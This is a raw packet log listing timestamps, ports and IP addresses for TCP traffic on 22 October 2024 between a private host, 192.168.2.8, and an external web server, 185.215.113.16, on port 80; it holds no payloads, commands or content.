Oct 22, 2024 19:24:43.166543961 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166609049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.166624069 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166637897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166671991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166675091 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.166696072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166712046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166726112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166738987 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166754007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166768074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166769028 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.166769028 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.166790962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166806936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166817904 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.166821003 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166836977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166843891 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.166850090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166876078 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.166934967 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.166937113 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166953087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166977882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.166986942 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.166990042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167016983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167032957 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167035103 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167058945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167071104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167083025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167097092 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167112112 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167124987 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167131901 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167151928 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167160988 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167165995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167181015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167186975 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167196989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167222977 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167258978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167370081 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167392969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167412996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167416096 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167427063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167433977 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167454958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167469025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167483091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167494059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167499065 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167499065 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167516947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167532921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167541981 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167546988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167562008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167573929 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167597055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167606115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167606115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167613983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167627096 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167638063 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167642117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167658091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167680979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167689085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167696953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167710066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167722940 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167725086 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167738914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167742014 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167753935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167768002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167774916 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167783022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167798996 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167802095 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167819023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167836905 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167864084 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167897940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167921066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167933941 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167948008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167969942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167984009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.167987108 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167987108 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.167999029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168014050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168028116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168039083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168040991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168050051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168064117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168072939 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168075085 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168087959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168097973 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168129921 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168337107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168358088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168376923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168390036 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168405056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168406010 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168421030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168431044 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168438911 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168452978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168468952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168483019 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168483019 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168492079 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168505907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168529034 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168543100 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168565989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168571949 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168571949 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168581009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168598890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168602943 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168605089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168611050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168618917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168632030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168646097 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168654919 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168654919 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168663979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168687105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168689013 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168703079 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168716908 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168724060 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168731928 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168746948 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168751955 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168761969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168771982 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168776989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168792009 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168806076 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168823957 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168823957 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168828964 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168844938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168858051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168859959 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168872118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168886900 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168901920 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168915033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168915033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168930054 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168931007 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168945074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168951035 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.168968916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.168991089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169006109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169019938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169037104 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169044018 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169059992 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169059992 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169064999 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169083118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169086933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169101000 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169109106 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169115067 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169128895 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169145107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169159889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169172049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169172049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169176102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169189930 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169190884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169205904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169229031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169238091 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169245958 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169251919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169255018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169267893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169292927 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169337988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169353008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169367075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169368982 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169380903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169397116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169410944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169411898 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169425964 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169430971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169445992 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169466019 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169482946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169497967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169512033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169513941 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169528008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169557095 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169569969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169579983 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169584990 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169600010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169630051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169632912 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169667006 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.169667959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.169682980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.170331955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.170367002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.170384884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.170389891 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.170392990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.170402050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.170406103 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.170440912 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.181552887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181749105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181762934 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181777954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181786060 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181807995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181808949 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.181824923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181842089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181847095 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.181857109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181875944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181884050 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.181905985 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.181910038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181934118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181946039 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.181946993 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181962013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181974888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.181988955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.182002068 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.182003021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.182018042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.182027102 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.182033062 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.182048082 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.182048082 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.182100058 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.209731102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.209748030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.209763050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.209810019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.209820986 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.209831953 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.209856033 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.209884882 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.222418070 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.280462027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280466080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280491114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280507088 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280522108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280535936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280549049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.280550003 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280565023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280613899 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.280613899 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.280625105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280627012 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280635118 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280719995 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.280731916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280752897 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280775070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280788898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280802965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280817986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280817986 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.280817986 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.280831099 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280846119 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280859947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.280859947 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.280859947 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.280941963 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.281111956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.281164885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.281178951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.281296015 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282219887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282233000 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282248020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282284021 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282284021 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282304049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282318115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282351971 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282463074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282474995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282495975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282510996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282522917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282536983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282541990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282541990 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282551050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282581091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282594919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282608032 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282614946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282614946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282627106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282639027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282651901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282665968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282676935 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.282689095 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.282704115 CEST	80	49717	185.215.113.16	192.168.2.8
